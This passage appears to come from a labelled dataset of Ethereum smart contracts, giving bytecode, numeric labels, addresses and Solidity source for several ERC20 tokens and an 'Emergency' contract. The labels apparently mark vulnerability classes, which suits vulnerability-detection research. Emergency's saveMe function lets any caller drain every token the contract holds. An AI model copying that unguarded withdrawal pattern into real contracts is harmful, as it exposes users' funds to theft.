f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d29565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600033611cd86000546001600160a01b031690565b6001600160a01b031614611cfe5760405162461bcd60e51b8152600401610d29906145de565b6127108210611d3d5760405162461bcd60e51b815260206004820152600b60248201526a746f6f206269672066656560a81b6044820152606401610d29565b50600e55600190565b3360009081526004602052604081205460ff1680611d735750336000908152601a602052604090205460ff165b80611d97575033611d8c6000546001600160a01b031690565b6001600160a01b0316145b611db35760405162461bcd60e51b8152600401610d29906145a7565b611184868686868661273e565b600033611dd56000546001600160a01b031690565b6001600160a01b031614611dfb5760405162461bcd60e51b8152600401610d29906145de565b8260011415611e0e57600b82905561133c565b8260021415611e2157600d82905561133c565b826003141561133c5750600c5550600190565b604080516000808252602082019092526001600160a01b038416908390604051611e5e91906144ed565b60006040518083038185875af1925050503d8060008114611e9b576040519150601f19603f3d011682016040523d82523d6000602084013e611ea0565b606091505b5050905080610e925760405162461bcd60e51b815260206004820152602360248201527f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960448201526213115160ea1b6064820152608401610d29565b60005a336000908152601a60205260408120549192503491819060ff1615611f9e57601e549050336001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015611f5f57600080fd5b505af1158015611f73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f9791906140bb565b9550611fa3565b50600e545b60096001600160a01b038a16101561201f5787831015611ff95760405162461bcd60e51b8152602060048201526011602482015270496e737566696369616e742076616c756560781b6044820152606401610d29565b612003888461477f565b9250612710612012828a614760565b61201c9190614653565b91505b86600f5461202d919061463b565b831015801561203c5750818710155b6120885760405162461bcd60e51b815260206004820152601b60248201527f496e73756666696369656e742070726f63657373696e672066656500000000006044820152606401610d29565b6006546001600160a01b03166120b95782601f60008282546120aa919061463b565b9091555061242e945050505050565b60006120c5888561477f565b905060006001600160a01b038716156121d05760065460405163016175dd60e51b81526001600160a01b0389811660048301523060248301526000921690632c2ebba09060440160206040518083038186803b15801561212457600080fd5b505afa158015612138573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061215c91906144b2565b9050801580159061216c57508915155b156121ce5760096001600160a01b038d1610156121a157612710612190828d614760565b61219a9190614653565b91506121ce565b6121ab848261463b565b6121b5828c614760565b6121bf9190614653565b91506121cb828b61477f565b94505b505b6121da818561463b565b89106121f1576121ea818a61477f565b935061222b565b60405162461bcd60e51b815260206004820152600f60248201526e496e737566696369616e742066656560881b6044820152606401610d29565b80156122e3576006546040516305c2b27f60e21b81526000916001600160a01b03169063170ac9fc90612266908c9086908d90600401614584565b602060405180830381600087803b15801561228057600080fd5b505af1158015612294573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122b891906140bb565b90506001600160a01b0381166122d7576122d28983611e34565b6122e1565b6122e18183611e34565b505b83601160008282546122f5919061463b565b9250508190555081601f600082825461230e919061463b565b90915550506001600160a01b0388166000908152600a602052604090205460ff16612427575a61233e908761477f565b95506064600b543a8862011d28612355919061463b565b61235f9190614760565b612369908561463b565b6123739190614760565b600c546123809087614760565b61238a919061463b565b6123949190614653565b9450841561242757600654601c546040516305c2b27f60e21b81526001600160a01b039283169263170ac9fc926123d3928d928b921690600401614584565b602060405180830381600087803b1580156123ed57600080fd5b505af1158015612401573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061242591906140bb565b505b5050505050505b5050505050565b6001600160a01b038089166000908152601560209081526040808320938b1683529290522054806124785760405162461bcd60e51b8152600401610d2990614613565b60096001600160a01b038a1611156124965761249689883088613727565b60006124a48a8a8a8a612573565b6001600160a01b0381166000908152601760205260408120805492935088929091906124d190849061463b565b9091555050600082815260166020526040812080548892906124f490849061463b565b9091555050604080516001600160a01b03898116825260208201899052871515828401526001600160801b0387811660608401528616608083015291518a8316928c811692908e16917f1fd5b8ab807d3f913c0684d01a9f0fc6cec1378222d353ac37ab6b5437ecd0b99181900360a00190a450505050505050505050565b6040516bffffffffffffffffffffffff19606086811b8216602084015285811b8216603484015284811b8216604884015283901b16605c82015260009060700160408051601f19818403018152919052805160209091012095945050505050565b6000806125e5600160801b84614653565b936001600160801b0390931692915050565b6001600160a01b038083166000818152601860209081526040808320815160608101835281546001600160401b038082168352600160401b8204909816828601526001830180548386019081529787526001600160e01b0319909116909255908490556017909252909120549151815191939091168285116126a2576000818152601460209081526040909120549085015161269d916001600160a01b03169084613857565b6126f3565b6126ac828461463b565b6001600160a01b038716600090815260176020908152604080832084905584835260169091528120805492955084929091906126e990849061463b565b9091555060009250505b856001600160a01b03167f2a96d42adb2fdc01993ab669d34b03082ddba40076acd3d6ca4268f8b6c8df808360405161272e91815260200190565b60405180910390a2505050505050565b3360009081526004602052604090205460ff1661292c576002546040516329e2caad60e01b8152600160048201526001600160a01b03909116906329e2caad90602401602060405180830381600087803b15801561279b57600080fd5b505af11580156127af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127d391906144b2565b3410156128155760405162461bcd60e51b815260206004820152601060248201526f496e73756666696369656e742066656560801b6044820152606401610d29565b3460116000828254612827919061463b565b90915550506006546001600160a01b03161580159061285f57506001600160a01b0383166000908152600a602052604090205460ff16155b1561292c5760006064600d543a61ea606128799190614760565b612883903461463b565b61288d9190614760565b6128979190614653565b9050801561292a57600654601c546040516305c2b27f60e21b81526001600160a01b039283169263170ac9fc926128d692899287921690600401614584565b602060405180830381600087803b1580156128f057600080fd5b505af1158015612904573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061292891906140bb565b505b505b600061293a86868686612573565b6001600160a01b038088166000908152601560209081526040808320938a1683529290522054909150806129805760405162461bcd60e51b8152600401610d2990614613565b6001600160a01b038216600090815260186020526040902060010154612a55576001600160a01b0382166000908152601760205260409020548381108015906129c857508315155b612a035760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b6044820152606401610d29565b600082815260166020526040902054612a1d90859061477f565b600083815260166020526040902055612a36848261477f565b6001600160a01b03841660009081526017602052604090205550612a9d565b60405162461bcd60e51b815260206004820152601f60248201527f54686572652069732070656e64696e672063616e63656c2072657175657374006044820152606401610d29565b604080516060810182526001600160401b0383811682526001600160a01b03888116602080850191825284860189815288841660008181526018909352918790209551865493518516600160401b026001600160e01b03199094169516949094179190911784559151600193840155600254925493516377b76ec360e01b81529381166004850152602484019190915216906377b76ec390604401602060405180830381600087803b158015612b5257600080fd5b505af1158015612b66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b8a91906144b2565b50816001600160a01b03167f2a388ab1246694e15fe848701c595699d03e5872058da3da5c7b783d0754dc0984604051612bc691815260200190565b60405180910390a250505050505050565b6001600160a01b038088166000908152601560209081526040808320938c168352929052205480612c1a5760405162461bcd60e51b8152600401610d2990614613565b600254604051631bcdc3f560e11b81526001600160a01b038a811660048301528b81166024830152600092839291169063379b87ea90604401602060405180830381600087803b158015612c6d57600080fd5b505af1158015612c81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ca591906144b2565b905080856001600160801b03161015612ce95780612ccd6001600160801b0387166064614760565b612cd79190614653565b612ce290606461477f565b9150612d16565b6001600160801b038516612cfe826064614760565b612d089190614653565b612d1390606461477f565b91505b600354821115612d555760405162461bcd60e51b815260206004820152600a60248201526957726f6e67207261746560b01b6044820152606401610d29565b600080612d648d8d8d8d612573565b6001600160a01b0381166000908152601960205260409020600201549091506001600160801b0316612de2576001600160a01b038116600090815260176020526040812080546001600160801b038b169290612dc190849061463b565b9091555050601b8054600090612dd690614796565b91829055509150612f56565b6001600160a01b038116600090815260196020526040902060010154600160a01b90046001600160401b031691506001600160801b038816612f2e576001600160a01b03811660008181526019602090815260408083206001015481516001600160401b038816815292830184905290820192909252600160e01b90910460ff16151560608201527f6ed391c0e4aedeb8c0f1b1723745030b0d6ce1c087b17c58035fa842dce1b8929060800160405180910390a26001600160a01b038116600090815260196020908152604080832060020154601790925290912054612ed2916001600160801b03169061477f565b6001600160a01b039091166000908152601760209081526040808320939093556019905290812080546001600160e01b03191681556001810180546001600160e81b031916905560028101829055600301555061330f92505050565b6001600160a01b0381166000908152601960205260409020600201546001600160801b031697505b60408051600380825260808201909252600091602082016060803683370190505090508181600081518110612f8d57612f8d6147c7565b60200260200101906001600160a01b031690816001600160a01b031681525050612fba8e8e600080612573565b81600181518110612fcd57612fcd6147c7565b60200260200101906001600160a01b031690816001600160a01b031681525050612ffa8d8f600080612573565b8160028151811061300d5761300d6147c7565b60200260200101906001600160a01b031690816001600160a01b031681525050604051806101000160405280876001600160401b031681526020018d6001600160a01b031681526020018c6001600160a01b03168152602001846001600160401b031681526020018b151581526020018a6001600160801b03168152602001896001600160801b031681526020018881525060196000846001600160a01b03166001600160a01b0316815260200190815260200160002060008201518160000160006101000a8154816001600160401b0302191690836001600160401b0316021790555060208201518160000160086101000a8154816001600160a01b0302191690836001600160a01b0316021790555060408201518160010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060608201518160010160146101000a8154816001600160401b0302191690836001600160401b03160217905550608082015181600101601c6101000a81548160ff02191690831515021790555060a08201518160020160006101000a8154816001600160801b0302191690836001600160801b0316021790555060c08201518160020160106101000a8154816001600160801b0302191690836001600160801b0316021790555060e08201518160030155905050600260009054906101000a90046001600160a01b03166001600160a01b03166303790331600160009054906101000a90046001600160a01b0316836040518363ffffffff1660e01b8152600401613257929190614528565b602060405180830381600087803b15801561327157600080fd5b505af1158015613285573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132a991906144b2565b50604080516001600160401b03851681526001600160801b038b1660208201528b15158183015290516001600160a01b038416917f197296bc2f77abeae71e16686a5be3e9b348742a4354734e743df8a7a0b38c81919081900360600190a25050505050505b5050505050505050565b6001600160a01b03808516600081815260196020908152604080832081516101008101835281546001600160401b038082168352600160401b8204891683870152600184018054998a1684870152600160a01b8a04909116606084015260ff600160e01b8a0416151560808401526002840180546001600160801b0380821660a08701908152600160801b909204811660c087015260038701805460e08801529a8a526001600160e01b03199094169095556001600160e81b031990991690559685905594849055601790925290912054905191929091168061343e5760405162461bcd60e51b815260206004820152601760248201527f4e6f2061637469766520636c61696d20726571756573740000000000000000006044820152606401610d29565b8260e001518610156134815760405162461bcd60e51b815260206004820152600c60248201526b27b930b1b6329032b93937b960a11b6044820152606401610d29565b6000808388106135f35784516001600160401b03166000806134a2896125d4565b915091506134c183878a60c001516001600160801b03168d858761387e565b909550935083156134fc576134d6848861477f565b6001600160a01b038d166000908152601760205260409020556134f9848761477f565b95505b60008381526016602052604090205485111561355a5760405162461bcd60e51b815260206004820152601760248201527f4e6f7420656e6f75676820546f74616c20537570706c790000000000000000006044820152606401610d29565b60008381526016602052604090205461357490869061477f565b6000848152601660205260409020556080880151156135c25760008381526014602090815260409182902054918a0151908a01516135bd926001600160a01b0316919088613d2f565b6135eb565b6000838152601460205260409081902054908901516135eb916001600160a01b03169087613857565b50505061361c565b6135fd838561477f565b6001600160a01b038a1660009081526017602052604081209190915592505b606080860151608080880151604080516001600160401b0390941684526020840187905283018790521515928201929092526001600160a01b038b16917f6ed391c0e4aedeb8c0f1b1723745030b0d6ce1c087b17c58035fa842dce1b892910160405180910390a2505050505050505050565b6000604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528260601b60148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f09150506001600160a01b038116610ef15760405162461bcd60e51b8152602060048201526016602482015275115490cc4c4d8dce8818dc99585d194819985a5b195960521b6044820152606401610d29565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b179052915160009283929088169161378b91906144ed565b6000604051808303816000865af19150503d80600081146137c8576040519150601f19603f3d011682016040523d82523d6000602084013e6137cd565b606091505b50915091508180156137f75750805115806137f75750808060200190518101906137f7919061447c565b61384f5760405162461bcd60e51b8152602060048201526024808201527f5472616e7366657248656c7065723a205452414e534645525f46524f4d5f46416044820152631253115160e21b6064820152608401610d29565b505050505050565b60096001600160a01b038416101561387357610e928282611e34565b610e92838383613ec9565b6000806138d36040518060e00160405280600081526020016000815260200160008152602001600081526020016000815260200160006001600160a01b0316815260200160006001600160a01b031681525090565b600089815260146020908152604080832080546001909101546001600160a01b039182168086526012948590528386205491909216808652929094205490939192829061392190839061463b565b61392b919061477f565b61393690600a6146b8565b85528061394483601261463b565b61394e919061477f565b61395990600a6146b8565b602086015261396b8484600080612573565b6001600160a01b031660a08601526139868385600080612573565b6001600160a01b0390811660c0870190815260a08701518216600090815260176020818152604080842054818c0152935190941682529092529020546139cb906125d4565b6060870152608086015250505060408201518610159050613a3d5760405162461bcd60e51b815260206004820152602660248201527f4e61746976655370656e742062616c616e636520686967686572207468656e2060448201526572656d6f746560d01b6064820152608401610d29565b6000816040015186613a4f919061477f565b90508015613ae85760008583602001518b613a6a9190614760565b613a749190614653565b9050818111613a895780945060009950613ab5565b8194508260200151868383613a9e919061477f565b613aa89190614760565b613ab29190614653565b99505b60a08301516001600160a01b031660009081526017602052604081208054879290613ae190849061463b565b9091555050505b50600089815260166020526040902054831115613b475760405162461bcd60e51b815260206004820152601c60248201527f4552523a204e6f7420656e6f75676820546f74616c20537570706c79000000006044820152606401610d29565b8715613d23578051600090613b5c898b614760565b613b669190614653565b9050613b72818561463b565b60008b8152601660205260409020541015613c255760008a815260166020526040902054613ba190859061477f565b82519091508890613bb29083614760565b613bbc9190614653565b613bc6908a61477f565b9250613bd2838a61477f565b60008b815260166020908152604091829020548251878152918201529081018690529099507f67544e11ea3c1e64ace1e89955bd8df19a5d62213e20d6637757a9209e5335389060600160405180910390a15b613c2f818561463b565b93508682606001511015613c945760405162461bcd60e51b815260206004820152602660248201527f466f726569676e5370656e742062616c616e636520686967686572207468656e604482015265081b1bd8d85b60d21b6064820152608401610d29565b6000878360600151613ca6919061477f565b90508015613cea57613cb88a8261463b565b8351613cc49084614760565b6080850151613cd39084614760565b613cdd919061463b565b613ce79190614653565b98505b613d03898b8560600151613cfe919061463b565b613fdd565b60c08401516001600160a01b031660009081526017602052604090205550505b50965096945050505050565b60096001600160a01b0385161015613dc4576040516328c2a10b60e21b81526001600160a01b03838116600483015284169063a30a842c9083906024016020604051808303818588803b158015613d8557600080fd5b505af1158015613d99573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613dbe919061447c565b50610e90565b60405163095ea7b360e01b81526001600160a01b0384811660048301526024820183905285169063095ea7b390604401602060405180830381600087803b158015613e0e57600080fd5b505af1158015613e22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e46919061447c565b506040516331c341eb60e01b81526001600160a01b038416906331c341eb90613e7790879085908790600401614584565b602060405180830381600087803b158015613e9157600080fd5b505af1158015613ea5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061242e919061447c565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1790529151600092839290871691613f2591906144ed565b6000604051808303816000865af19150503d8060008114613f62576040519150601f19603f3d011682016040523d82523d6000602084013e613f67565b606091505b5091509150818015613f91575080511580613f91575080806020019051810190613f91919061447c565b61242e5760405162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c4544006044820152606401610d29565b6000600160801b82106140245760405162461bcd60e51b815260206004820152600f60248201526e416d6f756e74206f766572666c6f7760881b6044820152606401610d29565b600160801b83106140675760405162461bcd60e51b815260206004820152600d60248201526c52617465206f766572666c6f7760981b6044820152606401610d29565b81614076600160801b85614760565b614080919061463b565b9392505050565b80356001600160801b0381168114610ef157600080fd5b6000602082840312156140b057600080fd5b8135614080816147dd565b6000602082840312156140cd57600080fd5b8151614080816147dd565b600080604083850312156140eb57600080fd5b82356140f6816147dd565b91506020830135614106816147dd565b809150509250929050565b6000806000806080858703121561412757600080fd5b8435614132816147dd565b93506020850135614142816147dd565b92506040850135614152816147dd565b91506060850135614162816147dd565b939692955090935050565b600080600080600080600080610100898b03121561418a57600080fd5b8835614195816147dd565b975060208901356141a5816147dd565b965060408901356141b5816147dd565b955060608901356141c5816147dd565b945060808901356141d5816147f5565b93506141e360a08a01614087565b92506141f160c08a01614087565b915060e089013590509295985092959890939650565b600080600080600060a0868803121561421f57600080fd5b853561422a816147dd565b9450602086013561423a816147dd565b9350604086013561424a816147dd565b9250606086013561425a816147dd565b949793965091946080013592915050565b6000806000806080858703121561428157600080fd5b843561428c816147dd565b9350602085013561429c816147dd565b925060408501356142ac816147dd565b9396929550929360600135925050565b60008060008060008060008060006101208a8c0312156142db57600080fd5b89356142e6816147dd565b985060208a01356142f6816147dd565b975060408a0135614306816147dd565b965060608a0135955060808a013561431d816147dd565b945060a08a013561432d816147f5565b935061433b60c08b01614087565b925061434960e08b01614087565b91506101008a013590509295985092959850929598565b600080600080600060a0868803121561437857600080fd5b8535614383816147dd565b94506020860135614393816147dd565b93506143a160408701614087565b925061425a60608701614087565b600080604083850312156143c257600080fd5b82356143cd816147dd565b91506020830135614106816147f5565b600080604083850312156143f057600080fd5b82356143fb816147dd565b946020939093013593505050565b6000806000806080858703121561441f57600080fd5b843561442a816147dd565b93506020850135925060408501356142ac816147dd565b6000806000806080858703121561445757600080fd5b8435614462816147dd565b966020860135965060408601359560600135945092505050565b60006020828403121561448e57600080fd5b8151614080816147f5565b6000602082840312156144ab57600080fd5b5035919050565b6000602082840312156144c457600080fd5b5051919050565b600080604083850312156144de57600080fd5b50508035926020909101359150565b6000825160005b8181101561450e57602081860181015185830152016144f4565b8181111561451d576000828501525b509190910192915050565b6001600160a01b038381168252604060208084018290528451918401829052600092858201929091906060860190855b81811015614576578551851683529483019491830191600101614558565b509098975050505050505050565b6001600160a01b0393841681526020810192909252909116604082015260600190565b60208082526018908201527f43616c6c6572206973206e6f74207468652073797374656d0000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600e908201526d14185a5c881b9bdd08195e1a5cdd60921b604082015260600190565b6000821982111561464e5761464e6147b1565b500190565b60008261467057634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156146b0578160001904821115614696576146966147b1565b808516156146a357918102915b93841c939080029061467a565b509250929050565b600061408083836000826146ce57506001611047565b816146db57506000611047565b81600181146146f157600281146146fb57614717565b6001915050611047565b60ff84111561470c5761470c6147b1565b50506001821b611047565b5060208310610133831016604e8410600b841016171561473a575081810a611047565b6147448383614675565b8060001904821115614758576147586147b1565b029392505050565b600081600019048311821515161561477a5761477a6147b1565b500290565b600082821015614791576147916147b1565b500390565b60006000198214156147aa576147aa6147b1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146147f257600080fd5b50565b80151581146147f257600080fdfea264697066735822122012d8c96b7a311dd768e375a50cfce83631bb80c627ff5a0b85693f5189c9454564736f6c63430008070033
[ 12, 5, 4, 11 ]
0xf2da15ae6ef94988534bad4b9e646f5911cbd487
/** *Submitted for verification at Etherscan.io on 2020-02-27 */ pragma solidity 0.4.19; contract RegularToken{ function transfer(address _to, uint _value) public returns (bool) { //Default assumes totalSupply can't be over max (2^256 - 1). if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { revert(); } } function transferFrom(address _from, address _to, uint _value) public returns (bool) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { revert(); } } function balanceOf(address _owner) constant public returns (uint) { return balances[_owner]; } function approve(address _spender, uint _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint) { return allowed[_owner][_spender]; } mapping (address => uint) balances; mapping (address => mapping (address => uint)) allowed; uint public totalSupply; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract UnboundedRegularToken is RegularToken { uint constant MAX_UINT = 2**256 - 1; /// @dev ERC20 transferFrom, modified such that an allowance of MAX_UINT represents an unlimited amount. /// @param _from Address to transfer from. /// @param _to Address to transfer to. /// @param _value Amount to transfer. /// @return Success of transfer. function transferFrom(address _from, address _to, uint _value) public returns (bool) { uint allowance = allowed[_from][msg.sender]; if (balances[_from] >= _value && allowance >= _value && balances[_to] + _value >= balances[_to] ) { balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } else { revert(); } } } contract FAMEToken is UnboundedRegularToken { uint8 constant public decimals = 8; string constant public name = "FAME"; string constant public symbol = "FAME"; function FAMEToken() public { totalSupply = 100000000 * 10 ** uint256(decimals); balances[msg.sender] = totalSupply; Transfer(address(0), msg.sender, totalSupply); } }
0x6060604052600436106100985763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461009d578063095ea7b31461012757806318160ddd1461015d57806323b872dd14610182578063313ce567146101aa57806370a08231146101d357806395d89b411461009d578063a9059cbb146101f2578063dd62ed3e14610214575b600080fd5b34156100a857600080fd5b6100b0610239565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156100ec5780820151838201526020016100d4565b50505050905090810190601f1680156101195780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561013257600080fd5b610149600160a060020a0360043516602435610270565b604051901515815260200160405180910390f35b341561016857600080fd5b6101706102dd565b60405190815260200160405180910390f35b341561018d57600080fd5b610149600160a060020a03600435811690602435166044356102e3565b34156101b557600080fd5b6101bd610408565b60405160ff909116815260200160405180910390f35b34156101de57600080fd5b610170600160a060020a036004351661040d565b34156101fd57600080fd5b610149600160a060020a0360043516602435610428565b341561021f57600080fd5b610170600160a060020a03600435811690602435166104dd565b60408051908101604052600481527f46414d4500000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260016020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60025481565b600160a060020a03808416600081815260016020908152604080832033909516835293815283822054928252819052918220548390108015906103265750828110155b801561034c5750600160a060020a03841660009081526020819052604090205483810110155b1561009857600160a060020a03808516600090815260208190526040808220805487019055918716815220805484900390556000198110156103b657600160a060020a03808616600090815260016020908152604080832033909416835292905220805484900390555b83600160a060020a031685600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405190815260200160405180910390a3506001949350505050565b600881565b600160a060020a031660009081526020819052604090205490565b600160a060020a03331660009081526020819052604081205482901080159061046b5750600160a060020a03831660009081526020819052604090205482810110155b1561009857600160a060020a033381166000818152602081905260408082208054879003905592861680825290839020805486019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060016102d7565b600160a060020a039182166000908152600160209081526040808320939094168252919091522054905600a165627a7a72305820572ffd0498a672a93909f3f8ea734101685e82331054e0a35ca60d7edf4734d60029
[ 38 ]
0xf2da79fcc2e6a945ec5e67b5f358c162c1ee34a6
// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.7.0 <0.9.0; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Storage * @dev Store & retrieve value in a variable */ contract Emergency { function saveMe(address tokenAddress) public { IBEP20 token = IBEP20(tokenAddress); token.transfer(address(msg.sender), token.balanceOf(address(this))); } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c8063439b815514610030575b600080fd5b61004a600480360381019061004591906101aa565b61004c565b005b60008190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb338373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016100a7919061024f565b60206040518083038186803b1580156100bf57600080fd5b505afa1580156100d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100f79190610204565b6040518363ffffffff1660e01b815260040161011492919061026a565b602060405180830381600087803b15801561012e57600080fd5b505af1158015610142573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061016691906101d7565b505050565b60008135905061017a816102e0565b92915050565b60008151905061018f816102f7565b92915050565b6000815190506101a48161030e565b92915050565b6000602082840312156101c0576101bf6102db565b5b60006101ce8482850161016b565b91505092915050565b6000602082840312156101ed576101ec6102db565b5b60006101fb84828501610180565b91505092915050565b60006020828403121561021a576102196102db565b5b600061022884828501610195565b91505092915050565b61023a81610293565b82525050565b610249816102d1565b82525050565b60006020820190506102646000830184610231565b92915050565b600060408201905061027f6000830185610231565b61028c6020830184610240565b9392505050565b600061029e826102b1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600080fd5b6102e981610293565b81146102f457600080fd5b50565b610300816102a5565b811461030b57600080fd5b50565b610317816102d1565b811461032257600080fd5b5056fea26469706673582212207b121e26db596ac08b07dda1842dfe0c1fde5b0355a911279bb424e6b12f886e64736f6c63430008060033
[ 16 ]
0xf2db4e0920ceaf36fec5250221861fedbabe9356
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'ACT300187' token contract // // Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187 // Symbol : ACT300187 // Name : ADZbuzz Howtogeek.com Community Token // Total supply: 2000000 // Decimals : 8 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ 